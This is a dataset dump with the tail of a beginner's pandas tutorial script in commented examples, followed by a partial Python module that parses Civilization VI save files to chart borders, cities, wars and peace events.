print(pd.read_csv(\"friends.csv\", dtype={\"marks\": \"float64\"}))      # change dtype of data in columns\n# print(pd.read_csv(\"friends.csv\", true_values=[\"yes\"], false_values=[\"no\"]))\n# # give True value where \"yes\" value and False value where \"no\" values in dataset\n\n# print(pd.read_csv(\"friends.csv\", na_values={\"1stcolumn\": \"not\", \"3rdcol\": \"null\"}))\n# # this is the way we can remove specific values from specific columns\n# print(pd.read_csv(\"friends.csv\", keep_default_na=False))  # keep null, none, na, etc. values as it is\n# print(pd.read_csv(\"friends.csv\", na_filter=False))\n# # pandas check each values for converting in na_values so to stop this long process and boost the process\n# # we can use na_filter as false if we don't have na values in dataset\n\n# import numpy as np\ndf = pd.DataFrame({\"omkar\": [24, np.nan], \"sutar\": [np.NaN, 77]})\n# print(df.isnull().sum())              # gives how many null values are present in each column\n# print(df.isnull().sum().sum())        # gives total number of null values present in all dataframe\n# # same with notnull().sum().sum()     # gives false where null values are present\n\n# print(df.dropna(subset=[\"omkar\"]))      # drop rows where null values present in omkar column\n# df.dropna(inplace=True)                 # inplace=True make changes in original dataset\n\n# df.loc([0, 3])                  # show 0th and 3rd row from table\n# newdf = df.loc[3, 5]            # show values which at 3rd row in 5th column\n# newdf2 = df.loc[0:2, 4:5]       # show values between row 0-2 and column 4-5\n# n2 = df.loc[df[\"class\"] < 11, [\"percentage\"]]     # show percentage where class number is less than 11\n\n# df.join(newdf)                 # join second dataset on first dataset\n# df.join(newdf, how=\"left\")     # left is by default\n# # left show all indexes from first dataframe and put nan values if index not in second dataframe\n# # right show all indexes from second dataframe and put nan values if index not in first dataframe\n# # inner show common indexes from both dataframe\n# # outer show all indexes from both dataframe and put nan values if index not common in both dataframe\n# df.join(newdf, lsuffix=\"_1\")     # if both dataframe have same column names then it will put \"_1\" at end of left column\n# df.join(newdf, rsuffix=\"_1\")     # if both dataframe have same column names then it will put \"_1\" at end of right column\n\n# df.append(newdf)          # append second dataframe to first dataframe\n# df.append(newdf, ignore_index=True)   # this will create new index for second dataframe for continuous indexing\n\npd.melt(df)           # gives two column first with all column names and second with all values of tables\npd.melt(df, id_vars=[\"city\"])    # id_vars set city as variable(first column) in melt table\npd.melt(df, id_vars=[\"city\"], value_vars=[\"year\"])\n# this gives city as main column and gives values where values are year\n", "meta": {"hexsha": "1f808176a032c67f994182ad16480bb1b32c2119", "size": 4527, "ext": "py", "lang": "Python", "max_stars_repo_path": "Python/Pandas/pandas 3 - Indian AI Production.py", "max_stars_repo_name": "omkarsutar1255/Python-Data", "max_stars_repo_head_hexsha": "169d0c54b23d9dd5a7f1aea41ab385121c3b3c63", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Python/Pandas/pandas 3 - Indian AI Production.py", "max_issues_repo_name": "omkarsutar1255/Python-Data", "max_issues_repo_head_hexsha": "169d0c54b23d9dd5a7f1aea41ab385121c3b3c63", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Python/Pandas/pandas 3 - Indian AI Production.py", "max_forks_repo_name": "omkarsutar1255/Python-Data", "max_forks_repo_head_hexsha": "169d0c54b23d9dd5a7f1aea41ab385121c3b3c63", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 66.5735294118, "max_line_length": 122, "alphanum_fraction": 0.6810249613, "include": true, "reason": "import numpy", "num_tokens": 1169, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.14804719051380197, "lm_q1q2_score": 0.07228898484808852}}
{"text": "from watchdog.utils.dirsnapshot import DirectorySnapshot\nimport os\nfrom saveFileHandler.filehandler import *\nfrom saveFileHandler.features import Terrains, Features\nimport time\nimport multiprocessing as mp\nimport pyqtgraph as pg\nimport copy\nfrom collections import defaultdict\nimport numpy as np\nfrom saveFileHandler.civColors import CIV_LEADER_COLORS, COLORS_PRISM, CIV_OVERFLOW_COLORS,\\\n    CS_COLOR_MAP, CS_TYPES, CS_UNICODE_MAP  # CIV_COLORS\ntry:\n    from saveFileHandler.civLocalization import CIV_LEADER_NAMES, CIV_NAMES, CITY_NAMES\n    civLocalizationImportSuccess = True\nexcept:\n    civLocalizationImportSuccess = False\n    pass\nimport traceback\n# Terrain types:\n# grassland: \t\t\t\t48 198 231 131:\t\t2213004848     30 C6 E7 83    b'\\x30\\xC6\\xE7\\x83'\n# grassland (hills):\t\t112 12 157 110: \t1855786096     70 0C 9D 6E    b'\\x70\\x0C\\x9D\\x6E'\n# grassland (mountains):\t51 180 131 95:\t\t1602466867     33 B4 83 5F    b'\\x33\\xB4\\x83\\x5F'\n# plains: \t\t\t\t    94 134 230 251: \t4226188894     5E 86 E6 FB    b'\\x94\\x86\\xE6\\xFB'\n# plains (hills): \t\t    158 100 206 230:\t3872285854     9E 64 CE E6    b'\\x9E\\x64\\xCE\\xE6'\n# plains (mountains):\t\t240 168 185 163:\t2746853616     F0 A8 B9 A3    b'\\xF0\\xA8\\xB9\\xA3'\n# desert: \t\t\t\t    44 10 168 229:\t\t3852995116     2C 0A A8 E5    b'\\x2C\\x0A\\xA8\\xE5'\n# desert (hills): \t\t    179 52 65 185:\t\t3108058291     B3 34 41 B9    b'\\xB3\\x34\\x41\\xB9'\n# desert (mountains):   \t249 190 144 84:\t\t1418772217     F9 BE 90 54    b'\\xF9\\xBE\\x90\\x54\n# tundra: \t\t\t\t    171 158 242 72:\t\t1223859883     AB 9E F2 48    b'\\xAB\\x9E\\xF2\\x48'\n# tundra (hills):\t\t\t246 176 98 235:\t\t3949113590     F6 B0 62 EB    b'\\xF6\\xB0\\x62\\xEB'\n# tundra (mountains):\t\t189 221 73 223:\t\t3746160061     BD DD 49 DF    b'\\xBD\\xDD\\x49\\xDF'\n# snow: \t\t\t\t\t15 132 234 103:\t\t1743422479     0F 84 EA 67    b'\\x0F\\x84\\xEA\\x67'\n# snow (hills): \t\t\t128 18 3 229:\t\t3842183808     80 12 03 E5    b'\\x80\\x12\\x03\\xE5'\n# snow (mountains):\t\t    244 70 177 41:\t\t699483892      F4 46 B1 29    b'\\xF4\\x46\\xB1\\x29'\n# Ocean: \t\t\t\t\t221 9 201 71:\t\t1204357597     DD 09 C9 47    b'\\xDD\\x09\\xC9\\x47'\n# Coast: \t\t\t\t\t17 122 112 74:\t\t1248885265     11 7A 70 4A    b'\\x11\\x7A\\x70\\x4A'\n\n# Features:\n# No feature: \t\t\t    255 255 255 255:\tFF FF FF FF\n# Rainforest:\t\t\t\t57 84 17 233:\t\t39 54 11 E9\n# Woods:\t\t\t\t\t68 9 34 10: \t\t44 09 22 0A\n# March (grassland only):\t195 89 85 35:\t\tC3 59 55 23\n# Oasis (desert only):\t    163 83 31 98:\t\tA3 53 1F 62\n# Floodlands(desert only):  38 119 181 82:\t\t26 77 B5 52\n# Ice (ocean/coast):\t\t148 3 236 91:\t\t94 03 EC 5B\n#\n# Goody hut: \t\t\t\t\t\t\t\t\tEA CD 58 15\t\t1434118760\n# Barb: \u202d\t\t\t\t\t\t\t\t\t\tBC 0A 2B DE\t\tDE 2B 0A BC\t\t3727362748\n#\n# Terrain2?:\n# Sea:\t\t\t\t\t    255 255 255 255: \tFF FF FF FF\n# Land:\t\t\t\t\t    197 141 5 214:\t\tC5 8D 05 D6\n# Snow:\t\t\t\t\t    234 205 88 21:\t\tEA CD 58 15\n\ncityColors = np.array([\n[255, 255, 255],\n[146, 221,   9],\n[255, 168,  12],\n[255, 255, 255],\n[200, 248, 255],\n[ 41,  83,  44],\n[ 60,   0, 108],\n[ 80,   0, 136],\n[255, 255, 255],\n[239, 231, 179],\n[ 82,   0, 208],\n[255, 255, 255],\n[255,  45,  45],\n[235, 235, 138],\n[ 36,  43,  32],\n[ 65, 141, 253],\n[255, 153,  49],\n[158,  46,  28],\n[184,   0,   0],\n[255,   0,   0],\n[255, 120,   0],\n[ 39, 178,  79],\n[245, 230,  55],\n[ 56,   0,   0],\n[255, 255,  74],\n[  3,  20, 124],\n[239, 198,   0],\n[  0,   0,   0],\n[176,   7,   3],\n[ 90,   0,   9],\n[244, 168, 168],\n[248, 246,   2],\n[255, 254, 215],\n[136, 238, 212],\n[147, 169, 255],\n[ 69,   0,   3],\n[  6, 159, 119],\n[251, 201, 129],\n[ 23,  62,  65],\n[255, 255, 255],\n[ 18,  82,  30],\n[ 24, 239, 206],\n[106,  49,  24],\n])\n\ncivColors = np.array([\n[ 31,  51, 120],\n[ 43,  87,  45],\n[255, 243, 173],\n[234,   0,   0],\n[ 43,  81,  97],\n[149, 221,  10],\n[113, 161, 232],\n[204, 204, 204],\n[  0, 148,  82],\n[108,  42,  20],\n[255, 251,   3],\n[108,   2,   0],\n[  1,  39,  14],\n[ 65, 141, 253],\n[179, 177, 184],\n[255, 255, 255],\n[ 18, 135,   6],\n[110, 210, 217],\n[255, 255, 255],\n[ 26,  32,  96],\n[ 81,   0,   8],\n[144,   2,   0],\n[176,   7,   3],\n[244,   5,   0],\n[217,  88,   0],\n[255, 255, 255],\n[ 70,   0, 118],\n[238, 238, 238],\n[245, 230,  55],\n[213, 145,  19],\n[ 83,  26,  26],\n[  7,   7, 165],\n[102,  33, 161],\n[161,  57,  34],\n[ 21,  91,  62],\n[179, 177, 163],\n[255, 184,  33],\n[ 65,  86,  86],\n[197, 140,  98],\n[255, 143,   0],\n[247, 248, 199],\n[ 73,  58,  45],\n[255, 231, 213]]\n)\ncivColors = np.concatenate((civColors, np.random.rand(213, 3) * 255))\n# Usually Free city civ index is 62, so in theory there can't be more than 62 civs major/minor\ncivColors[62, :] = np.array([25, 25, 25])\ncivColors[255, :] = np.array([0, 0, 255])  # sea level rise when no other owner\ncivColorsInner = np.copy(civColors)\ncivColorsMinor = np.copy(civColors)\n\ncivColorsPen = []\ncivColorsBrush = []\ncivColorsPenInner = []\ncivColorsBrushInner = []\ncivColorsBrushMinor = []\nfor color in civColors:\n    qcolor = pg.mkColor(color)\n    civColorsPen.append(pg.mkPen(qcolor, width=3))\n    civColorsPenInner.append(pg.mkPen(qcolor, width=3))\n    civColorsBrush.append(pg.mkBrush(qcolor))\n    civColorsBrushInner.append(pg.mkBrush(qcolor))\n    civColorsBrushMinor.append(pg.mkBrush(qcolor))\n\nriverPen = pg.mkPen(pg.mkColor(np.array((45, 89, 120, 255))), width=4)\n\nemptyBrush = pg.mkBrush(pg.mkColor(np.zeros(4, )))\nblackBrush = pg.mkBrush(pg.mkColor(np.zeros(3,)))\nemptyPen = pg.mkPen(pg.mkColor(np.zeros(4, )))\nblackPen = pg.mkPen(pg.mkColor(np.array((24, 24, 24))), width=3)\n\nFREE_CITY_IDX = 62\n\ndef parseLeader(leaderIn):\n    cityState = False\n    leader = leaderIn\n    if leader[:10] == \"MINOR_CIV_\":\n        cityState = True\n        leader = \"City State\"\n    else:\n        leader = \" \".join(x.capitalize() for x in leader.split(\"_\"))\n    return leader, cityState\n\n\ndef map_civ_colors(civdata):\n    added_colors = []\n    print(f\"Civilization colors are determined by first-come-first-serve\")\n    print(f\"according to the jerseys used in Prismatic - Color and Jersey Overhaul mod (version 28.01.2021)\")\n    print(f\"https://steamcommunity.com/sharedfiles/filedetails/?id=1661785509\")\n    for i, civ in enumerate(civdata):\n        try:\n            colorset = False\n            for ii in range(4):\n                color = COLORS_PRISM[CIV_LEADER_COLORS[civ][ii*2]]\n                colorInner = COLORS_PRISM[CIV_LEADER_COLORS[civ][ii*2+1]]\n                if color not in added_colors:\n                    colorset = True\n                    added_colors.append(color)\n                    print(f\"{civ} border color set to {color}/{colorInner} (option #{ii})\")\n                    break\n            if not colorset:\n                for jj in range(int(len(CIV_OVERFLOW_COLORS)/2)):\n                    color = COLORS_PRISM[CIV_OVERFLOW_COLORS[jj * 2]]\n                    colorInner = COLORS_PRISM[CIV_OVERFLOW_COLORS[jj * 2 + 1]]\n                    if color not in added_colors:\n                        added_colors.append(color)\n                        print(f\"{civ} border color set to {color}/{colorInner} (overflow option #{jj})\")\n                        break\n        except:\n            for jj in range(int(len(CIV_OVERFLOW_COLORS) / 2)):\n                color = COLORS_PRISM[CIV_OVERFLOW_COLORS[jj * 2]]\n                colorInner = COLORS_PRISM[CIV_OVERFLOW_COLORS[jj * 2 + 1]]\n                if color not in added_colors:\n                    added_colors.append(color)\n                    print(f\"{civ} border color set to {color}/{colorInner} (overflow option #{jj})\")\n                    break\n            # continue\n        qcolor = pg.mkColor(color)\n        qcolorInner = pg.mkColor(colorInner)\n        civColors[i] = color\n        civColorsInner[i] = colorInner\n        civColorsPen[i] = pg.mkPen(qcolor, width=3)\n        civColorsBrush[i] = pg.mkBrush(qcolor)\n        civColorsPenInner[i] = pg.mkPen(colorInner, width=4)\n        civColorsBrushInner[i] = pg.mkBrush(qcolorInner)\n\n        if len(civ) > 10:\n            if civ[:10] == \"MINOR_CIV_\":\n                try:\n                    city_state = \" \".join(x.capitalize() for x in civ[10:].split(\"_\"))\n                    colorMinor = COLORS_PRISM[CS_COLOR_MAP[CS_TYPES[city_state]]]\n                    qcolorMinor = pg.mkColor(colorMinor)\n                except:\n                    print(\"City state not found from mapping: {}\".format(civ))\n                    qcolorMinor = blackBrush\n                    colorMinor = np.zeros(3,)\n                civColorsBrushMinor[i] = pg.mkBrush(qcolorMinor)\n                civColorsMinor[i] = colorMinor\n\n\ndef fileWorker(idx, filePath, fileCount):\n    f = open(filePath, \"rb\")\n    data = f.read()\n    f.close()\n    mainDecompressedData = decompress(data)\n    # writeBinDataToFile(mainDecompressedData)\n    civData = []\n    leaderData = []\n    notifications = []\n    diploStates = []\n    wars = []\n    try:\n        if idx == 0:\n            civData, leaderData = get_civ_data(data)\n        # if idx == fileCount - 1:  # All grievance data stored in save file\n        wars = getWars(mainDecompressedData, idx)\n        # map_civ_colors(civdata)\n        tileData = save_to_map_json(mainDecompressedData, idx)\n        cityData = getCityData(mainDecompressedData, idx)\n        diploStates = getDiploStates(mainDecompressedData, idx)\n\n        checkCityTileOwner(cityData, tileData)\n        cityNameData = getCityNameData(mainDecompressedData, idx)\n        reCityData = reorderedCityData(cityData)\n        # notifications = getNotifications(mainDecompressedData)\n        combineNames(cityData, reCityData, cityNameData, idx)\n        getCityLocNames(cityData)\n    except Exception as e:\n        traceback.print_exc()\n        print(e)\n    return idx, tileData, cityData, civData, leaderData, notifications, diploStates, wars\n\n\ndef getPlayerID(tile):\n    if tile[\"OwnershipBuffer\"] >= 64:\n        tileBufferData = tile[\"buffer\"]\n        return tileBufferData[-5]\n    else:\n        return -1\n\n\ndef checkCityTileOwner(cityData, tileData, updateWithTileOwner=True):\n    for city in cityData[\"cities\"]:\n        pId = getPlayerID(tileData[\"tiles\"][city[\"LocationIdx\"]])\n        if pId == 255:  # Submerged land bug, No man's land -> city has been wiped out? TODO: Actually terrain changes\n            pId = -1\n        city[\"tileOwner\"] = pId\n        if updateWithTileOwner:\n            if pId != FREE_CITY_IDX and pId != city[\"CivIndex\"]:  # and pId > 0:\n                CivCityOrderIdx, CivCityOrderIdx1, oldIdx = cityHasExiststedAlreadyInCiv(city[\"CityName\"], pId,\n                                                                                         cityData)\n                if CivCityOrderIdx >= 0:\n                    city[\"CivCityOrderIdx\"] = CivCityOrderIdx\n                    city[\"CivCityOrderIdx1\"] = CivCityOrderIdx1\n                    city[\"CivIndex\"] = pId\n                else:\n                    maxCivCityOrderIdx, maxCivCityOrderIdx1 = findLastCivCityIdx(cityData, pId)\n                    if countCityName(city[\"CityName\"], cityData) == 1:  # City is actually wiped on other player's land?\n                        #print(f\"A city wiped out on other player's land at location hex {city['LocationIdx']}?\")\n                        city[\"CivIndex\"] = -1\n                        continue\n                    city[\"CivCityOrderIdx\"] = maxCivCityOrderIdx + 1\n                    city[\"CivCityOrderIdx1\"] = maxCivCityOrderIdx1 + 1\n                    city[\"CivIndex\"] = pId\n\n\ndef countCityName(cityName, cityData):\n    count = 0\n    for city in cityData[\"cities\"]:\n        if city[\"CityName\"] == cityName:\n            count += 1\n    return count\n\n\ndef combineNames(cityData, reCityData, cityNameData, fileNum):\n    count = 0\n    cityNameIdxLast = len(cityNameData[\"cityNames\"]) - 1\n    # Free cities first from the end of the list\n    freeCitys = []\n    for city in reversed(reCityData):\n        if city[\"tileOwner\"] == FREE_CITY_IDX:\n            cityData[\"cities\"][city[\"OldIdx\"]][\"cityNameData\"] = cityNameData[\"cityNames\"][cityNameIdxLast - count]\n            count += 1\n            freeCitys.append(city)\n        else:\n            break\n\n    skip = 0\n    stop = False\n    for idx, city in enumerate(reCityData[:len(reCityData)-count]):\n        total = idx + skip\n        if total > cityNameIdxLast:\n            break\n        candidate = cityNameData[\"cityNames\"][total]\n        while True:\n            if candidate[\"CivCityOrderIdx\"] == city[\"CivCityOrderIdx\"]:\n                cityData[\"cities\"][city[\"OldIdx\"]][\"cityNameData\"] = candidate\n                if candidate[\"Orig\"]:\n                    if cityData[\"cities\"][city[\"OldIdx\"]][\"CityName\"] != candidate[\"CityName\"]:\n                        print(f\"File #{fileNum} Warning: a bug?, city names should be same when using originals\")\n                break\n            elif candidate[\"CivCityOrderIdx\"] < city[\"CivCityOrderIdx\"]:  # Free city?\n                print(f\"Warning unconfirmed condition for city name mapping, a bug?\")\n                break\n                # if city in freeCitys:\n                #     pass\n            else:  # Captured city state?\n                skip += 1\n                total = idx + skip\n                if total > cityNameIdxLast:\n                    stop = True\n                    break\n                candidate = cityNameData[\"cityNames\"][total]\n        if stop:\n            break\n\n\ndef getCityLocNames(cityData):\n    for city in cityData[\"cities\"]:\n        if \"cityNameData\" in city:\n            if city[\"cityNameData\"][\"Orig\"]:\n                cityKey = \"_\".join(x.upper() for x in city[\"CityName\"].split(\" \"))\n                if cityKey in CITY_NAMES:\n                    city[\"cityLocData\"] = CITY_NAMES[cityKey]\n\n\ndef reorderedCityData(cityData, removeGaps=True):\n    reorderedCityData = []\n    usedCities = []\n    replacedCities = []\n    for idx, city in enumerate(cityData[\"cities\"]):\n        if city[\"CivIndex\"] < 0:\n            continue\n        CityName = city[\"CityName\"]\n        cityCopy = city.copy()\n        cityCopy[\"OldIdx\"] = idx\n        # If city exists already remove it from list\n        if CityName in usedCities:\n            for idx2, insertedCity in enumerate(reorderedCityData):\n                if insertedCity[\"CityName\"] == CityName:\n                    reorderedCityData.pop(idx2)\n                    break\n        else:\n            usedCities.append(CityName)\n        # Find a slot where to insert\n        insertCity(reorderedCityData, cityCopy, replacedCities)\n\n    replacedCities2 = []\n    for cityName in replacedCities:\n        buildOver = False\n        for city in reorderedCityData:\n            if city[\"CityName\"] == cityName:\n                break\n        else:\n            for idx, missingCity in enumerate(reversed(cityData[\"cities\"])):\n                if missingCity[\"CityName\"] == cityName:\n                    cityLoc = missingCity[\"LocationIdx\"]\n                    for cityForLocCheck in reversed(cityData[\"cities\"]):\n                        if cityName != cityForLocCheck[\"CityName\"]:\n                            if cityForLocCheck[\"LocationIdx\"] == cityLoc:\n                                buildOver = True\n                    break\n            else:\n                print(\"Failed to find a missing city candidate at reorderedCityData\")\n                continue\n            if buildOver:\n                # print(\"New city on same tile\")\n                continue\n            newCity = missingCity.copy()\n            maxCivCityOrderIdx, maxCivCityOrderIdx1 = findLastCivCityIdx(cityData, missingCity[\"tileOwner\"])\n            newCity[\"OldIdx\"] = len(cityData[\"cities\"]) - idx - 1\n            newCity[\"CivIndex\"] = missingCity[\"tileOwner\"]\n            newCity[\"CivCityOrderIdx\"] = maxCivCityOrderIdx + 1\n            newCity[\"CivCityOrderIdx1\"] = maxCivCityOrderIdx1 + 1\n\n            insertCity(reorderedCityData, newCity, replacedCities2)\n\n    # Remove gaps from CivCityOrderIdx\n    if removeGaps:\n        first = True\n        CurrentCivIndex = 0\n        CurrentCivCityOrderIdx = 0\n        for city in reorderedCityData:\n            if first:\n                first = False\n                CurrentCivIndex = city[\"CivIndex\"]\n                CurrentCivCityOrderIdx = city[\"CivCityOrderIdx\"]\n                # Start from 0\n                if CurrentCivCityOrderIdx != 0:\n                    city[\"CivCityOrderIdx\"] = 0\n                    city[\"CivCityOrderIdxOld\"] = CurrentCivCityOrderIdx\n                    CurrentCivCityOrderIdx = 0\n                continue\n            if city[\"tileOwner\"] == FREE_CITY_IDX:\n                continue\n            if CurrentCivIndex == city[\"CivIndex\"]:\n                CurrentCivCityOrderIdx += 1\n                if CurrentCivCityOrderIdx != city[\"CivCityOrderIdx\"]:\n                    city[\"CivCityOrderIdxOld\"] = city[\"CivCityOrderIdx\"]\n                    city[\"CivCityOrderIdx\"] = CurrentCivCityOrderIdx\n            else:  # Next Civ\n                CurrentCivIndex = city[\"CivIndex\"]\n                CurrentCivCityOrderIdx = city[\"CivCityOrderIdx\"]\n                # Start from 0\n                if CurrentCivCityOrderIdx != 0:\n                    city[\"CivCityOrderIdx\"] = 0\n                    city[\"CivCityOrderIdxOld\"] = CurrentCivCityOrderIdx\n                    CurrentCivCityOrderIdx = 0\n\n    return reorderedCityData\n\n\ndef insertCity(reorderedCityData, city, replacedCities):\n    for idx2, insertedCity in enumerate(reorderedCityData):\n        insertOrReplace = compareCity(city, insertedCity)\n        if insertOrReplace > 0:\n            reorderedCityData.insert(idx2, city)\n            break\n        elif insertOrReplace == 0:\n            replacedCities.append(reorderedCityData[idx2][\"CityName\"])\n            reorderedCityData[idx2] = city\n            break\n    else:\n        reorderedCityData.append(city)\n\n\ndef findLastCivCityIdx(cityData, civIdx):\n    maxCivCityOrderIdx = -1\n    maxCivCityOrderIdx1 = -1\n    for city in cityData[\"cities\"]:\n        if city[\"CivIndex\"] == civIdx:\n            if maxCivCityOrderIdx < city[\"CivCityOrderIdx\"]:\n                maxCivCityOrderIdx = city[\"CivCityOrderIdx\"]\n            if maxCivCityOrderIdx1 < city[\"CivCityOrderIdx1\"]:\n                maxCivCityOrderIdx1 = city[\"CivCityOrderIdx1\"]\n    return maxCivCityOrderIdx, maxCivCityOrderIdx1\n\n\ndef cityHasExiststedAlreadyInCiv(CityName, CivIndex, cityData):\n    CivCityOrderIdx = -1\n    CivCityOrderIdx1 = -1\n    oldIdx = -1\n    for idx, city in enumerate(cityData[\"cities\"]):\n        if city[\"CivIndex\"] == CivIndex:\n            if city[\"CityName\"] == CityName:\n                CivCityOrderIdx = city[\"CivCityOrderIdx\"]\n                oldIdx = idx\n            if CivCityOrderIdx1 < city[\"CivCityOrderIdx1\"]:\n                CivCityOrderIdx1 = city[\"CivCityOrderIdx1\"]\n    CivCityOrderIdx1 += 1\n    return CivCityOrderIdx, CivCityOrderIdx1, oldIdx\n\n\ndef compareCity(city1, city2):\n    CivIndex = city1[\"CivIndex\"]\n    CivCityOrderIdx = city1[\"CivCityOrderIdx\"]\n    tileOwner = city1[\"tileOwner\"]\n    CivIndex2 = city2[\"CivIndex\"]\n    CivCityOrderIdx2 = city2[\"CivCityOrderIdx\"]\n    tileOwner2 = city2[\"tileOwner\"]\n\n    # City 1 is not free city and city 2 is\n    if tileOwner != FREE_CITY_IDX and tileOwner2 == FREE_CITY_IDX:\n        return 1\n    # City 1 is free city and city 2 is not\n    elif tileOwner == FREE_CITY_IDX and tileOwner2 != FREE_CITY_IDX:\n        return -1\n    # Both are either free city or not #TODO: Check that the order is not time related with Free Cities\n    else:\n        # Civ index priority # 1\n        if CivIndex < CivIndex2:\n            return 1\n        elif CivIndex > CivIndex2:\n            return -1\n        else:\n            # City index priority # 1\n            if CivCityOrderIdx < CivCityOrderIdx2:\n                return 1\n            elif CivCityOrderIdx > CivCityOrderIdx2:\n                return -1\n            # Both are same replace old index (player has lost an existing city)\n            else:\n                return 0\n\n\nclass GameDataHandler:\n    def __init__(self, dataFolder, fileExt=\".Civ6Save\"):\n        self.dataFolder = dataFolder\n        self.recursive = False\n        self.tileData = []\n        self.cityData = []\n        self.civData = []\n        self.leaderData = []\n        self.notifications = []\n        self.diploStates = []\n        self.wars = []\n        self.incWars = []\n        self.events = []\n        self.events_orig = []\n        self.borderColors = []\n        self.borderColorsInner = []\n        self.borderColorsSC = []\n        self.cityColors = []\n        self.envColors = []\n        self.riverColors = []\n        self.goodyHuts = []\n        self.fileExt = fileExt\n        self.pColors = civColors\n        self.X = -1\n        self.Y = -1\n        self.neighbours_list = []\n        self.majorCivs = 0\n        self.minorCivs = 0\n        self.cityCounts = []\n        self.razedCityLocs = []\n        self.civ_text = []\n        self.civHexaCounts = []\n        self.playersAlive = []\n        self.minorOrigos = {}\n        self.minorCivTypes = {}\n        self.calculatingCivNames = False\n\n    def parseData(self):\n        snapshot = DirectorySnapshot(self.dataFolder, self.recursive)\n        count = 0\n        filePaths = []\n        for filePath in sorted(snapshot.paths):\n            if self.fileExt == os.path.splitext(filePath)[1]:\n                count += 1\n                filePaths.append(filePath)\n        self.tileData = [None] * count\n        self.cityData = [None] * count\n        self.civData = [None] * count\n        self.leaderData = [None] * count\n        self.notifications = [None] * count\n        self.diploStates = [None] * count\n        self.wars = [None] * count\n\n        # self.saveResult(fileWorker(0, filePaths[0]))\n        # self.calcMajorCivs()\n\n        t0 = time.time()\n        pool = mp.Pool()\n        fileCount = len(filePaths)\n        for ii, filePath in enumerate(filePaths):\n            pool.apply_async(fileWorker, args=(ii, filePath, fileCount), callback=self.saveResult)\n            # self.saveResult(fileWorker(ii, filePath, fileCount))  # debugging single thread\n        pool.close()\n        pool.join()\n        # unique_notifications = self.checkUniqueNotifications()\n\n        self.X, self.Y = self.getMapSize()\n        self.neighbours_list = []\n        for ii in range(self.X*self.Y):\n            self.neighbours_list.append(self.getNeighbourIndexes(ii))\n\n        self.calcMajorCivs()\n        self.calcDiploStateWarPeaceDiff()\n        self.calcCityCounts()\n        self.calculateCivHexas()\n        self.calcPlayersAlive()\n        self.calculateCityStateOrigos()\n        self.calcRazedCitys()\n        self.calcIncrementalWars()\n        print(\"Total time {} s for data parsing from {} files\".format(time.time() - t0, count))\n\n    def createEvents(self):\n        self.events = []\n        self.createWarEvents()\n        self.createPeaceEvents()\n        self.createWinningConditionEvents()\n        self.createCityEvents()\n        self.createWonderEvents()\n        self.sortEvents()\n        self.events_orig = self.events.copy()\n\n    def filterEvents(self, filter_rules):\n        self.events = self.events_orig.copy()\n        for event in reversed(self.events):\n            if event[\"Type\"] in filter_rules:\n                if filter_rules[event[\"Type\"]]:\n                    self.events.remove(event)\n\n    def createPeaceEvents(self):\n        colorhex = ''.join([format(int(c), '02x') for c in COLORS_PRISM[\"COLOR_STANDARD_WHITE_LT\"]])\n        peaceIcon = \"<font color=#\" + colorhex + \"> \\U0001F54A </font>\"  # Dove, as white if no colored icon support\n\n        pCount = self.majorCivs + self.minorCivs\n        for idx in range(self.warPeaceDiffTable.shape[-1]):\n            for p1 in range(pCount):\n                for p2 in range(p1 + 1, pCount):\n                    if self.warPeaceDiffTable[p1][p2][idx] == -1:\n                        peaceType = \"Peace Major\"\n                        if p1 >= self.majorCivs and p2 >= self.majorCivs:\n                            peaceType = \"Peace Minor Minor\"\n                        elif p1 >= self.majorCivs or p2 >= self.majorCivs:\n                            peaceType = \"Peace Minor\"\n                        event_txt = \"[\" + str(idx + 1) + \"]: \" + self.civ_text[p1].replace(\"<br>\", \"\") + \\\n                                    peaceIcon + self.civ_text[p2].replace(\"<br>\", \"\")\n                        event = {\"TurnIdx\": idx, \"Type\": peaceType, \"Event\": event_txt}\n                        self.events.append(event)\n\n    def createWinningConditionEvents(self):\n        pass\n\n    def createCityEvents(self):\n        # Founded, captured, razed, revolt, flipped, freed etc...\n        pass\n\n    def createWonderEvents(self):\n        pass\n\n    def createWarEvents(self):\n        colorhex = ''.join([format(int(c), '02x') for c in COLORS_PRISM[\"COLOR_STANDARD_RED_DK\"]])\n        warIcon = \"<font color=#\" + colorhex + \"> \\u2694 </font>\"  # Crossed swords, as red if no colored icon support\n        for ii, turn in enumerate(self.incWars):\n            for war in turn:\n                attIdx = war[\"Att\"]\n                defIdx = war[\"Def\"]\n                warType = \"War Major\"\n                if attIdx >= self.majorCivs and defIdx >= self.majorCivs:\n                    warType = \"War Minor Minor\"\n                elif attIdx >= self.majorCivs or defIdx >= self.majorCivs:\n                    warType = \"War Minor\"\n                event_txt = \"[\" + str(ii + 1) + \"]: \" + self.civ_text[attIdx].replace(\"<br>\", \"\") +\\\n                            warIcon + self.civ_text[defIdx].replace(\"<br>\", \"\")\n                event = {\"TurnIdx\": ii, \"Type\": warType, \"Event\": event_txt}\n                self.events.append(event)\n\n    def sortEvents(self):\n        def sortEventFunc(e):\n            return e[\"TurnIdx\"]\n        self.events.sort(key=sortEventFunc)\n\n    def checkUniqueNotifications(self):\n        unique_notifications = []\n        for turn in self.notifications:\n            for notification in turn:\n                if notification[\"NotiName\"] not in unique_notifications:\n                    unique_notifications.append(notification[\"NotiName\"])\n        return unique_notifications\n\n    def saveResult(self, result):\n        self.tileData[result[0]] = result[1]\n        self.cityData[result[0]] = result[2]\n        self.civData[result[0]] = result[3]\n        self.leaderData[result[0]] = result[4]\n        self.notifications[result[0]] = result[5]\n        self.diploStates[result[0]] = result[6]\n        self.wars[result[0]] = result[7]\n\n    def calcCityCounts(self):\n        self.cityCounts = []\n        for i, turn in enumerate(self.cityData):\n            cityCounts = [0] * self.majorCivs\n            usedCities = {}\n            for city in turn[\"cities\"]:\n                civIndex = city[\"CivIndex\"]\n                if civIndex >= self.majorCivs:  # Skip if city state has been liberated\n                    continue\n                cityCounts[civIndex] += 1\n                if city[\"CityName\"] not in usedCities:\n                    usedCities[city[\"CityName\"]] = city[\"CivIndex\"]\n         